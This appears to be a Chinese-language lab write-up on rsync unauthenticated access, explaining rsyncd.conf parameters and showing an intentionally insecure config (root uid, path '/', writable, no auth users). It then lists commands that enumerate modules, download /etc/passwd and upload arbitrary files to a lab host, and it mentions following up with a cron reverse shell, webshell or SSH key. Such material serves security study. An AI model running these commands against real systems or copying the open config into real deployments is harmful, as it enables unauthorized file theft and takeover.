rsync 未授權訪問漏洞
rsync
rsync,remote synchronize顧名思意就知道它是一款實現遠端同步功能的軟體,它在同步檔案的同時,可以保持原來檔案的許可權、時間、軟硬連結等附加資訊。 rsync是用 “rsync 演算法”提供了一個客戶機和遠端檔案伺服器的檔案同步的快速方法,而且可以通過ssh方式來傳輸檔案,這樣其保密性也非常好
rsync配置檔案
配置檔案 rsyncd.conf 由全域性配置和若干模組配置組成。一般在/etc/rsyncd.conf
配置檔案的語法為:
- 模組以 [模組名] 開始
模組定義什麼呢?主要是定義伺服器哪個目錄要被同步。每個模組都要以[name]形式。這個名字就是在rsync 客戶端看到的名字,其實有點象Samba伺服器提供的共享名。而伺服器真正同步的資料是通過path 指定的。我們可以根據自己的需要,來指定多個模組。每個模組要指定認證使用者,密碼檔案、但排除並不是必須的 - 引數配置行的格式是 name = value ,其中 value 可以有兩種資料型別:
- 字串(可以不用引號定界字串)
- 布林值(1/0 或 yes/no 或 true/false)
- 以 # 或 ; 開始的行為註釋
- \為續行符
引數 | 說明 |
---|---|
uid | 此引數指定與該模組之間的檔案傳輸的使用者名稱或使用者ID |
gid | 此引數指定在訪問模組時將使用的一個或多個組名稱/ID |
use chroot | 若為 true,則 rsync 在傳輸檔案之前首先 chroot 到 path 引數所指定的目錄下。這樣做的原因是實現額外的安全防護,但是缺點是需要 root 許可權,並且不能備份指向 path 外部的符號連線所指向的目錄檔案 |
max connections | 指定該模組的最大併發連線數量以保護伺服器,超過限制的連線請求將被告知隨後再試 |
syslog facility | 指定 rsync 傳送日誌訊息給 syslog 時的訊息級別 |
pid file | rsync 的守護程序將其 PID 寫入指定的檔案 |
log file | 指定 rsync 守護程序的日誌檔案,而不將日誌傳送給 syslog |
path | 指定當前模組在 rsync 伺服器上的同步路徑,該引數是必須指定的 |
comment | 給模組指定一個描述,該描述連同模組名在客戶連線得到模組列表時顯示給客戶 |
read only | 指定是否允許客戶上傳檔案。若為 true 則不允許上傳;若為 false 並且伺服器目錄也具有讀寫許可權則允許上傳 |
auth users | 指定驗證使用者名稱,可以不設定,不設定預設不用密碼,設定的話安全性更高點 |
secrets file | 指定密碼檔案,如果設定驗證使用者,這一項必須設定,設定密碼許可權為400 |
hosts allow | 設定可以允許訪問的主機,可以是網段,多個Ip地址用空格隔開 |
該漏洞環境下rsync的配置檔案
uid = root
gid = root
use chroot = no
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid
log file = /var/log/rsyncd.log[src]
path = /
comment = src path
read only = no
由配置檔案,我們可以訪問path所指定目錄以外的目錄,該配置還定義了一個src模組,路徑指向根目錄,而且可讀可寫,最重要的是沒有設定使用者名稱,如此便無需密碼直接訪問
復現
檢視可用模組
rsync 192.168.122.1::
rsync rsync://192.168.122.1:873/
rsync rsync://192.168.122.1
列出模組下檔案
rsync 192.168.122.1::src
rsync rsync://192.168.122.1/src
下載任意檔案
rsync rsync://192.168.122.1/src/etc/passwd ./
rsync 192.168.122.1::src/etc/passwd ./
上傳任意檔案
rsync x.txt rsync://192.168.122.1/src/home/
rsync x.txt 192.168.122.1::src/home/
然後可以寫入了一個cron任務,反彈shell,有Web服務的話,可以寫WebShell,或者寫ssh公鑰等
參考:
rsyncd.conf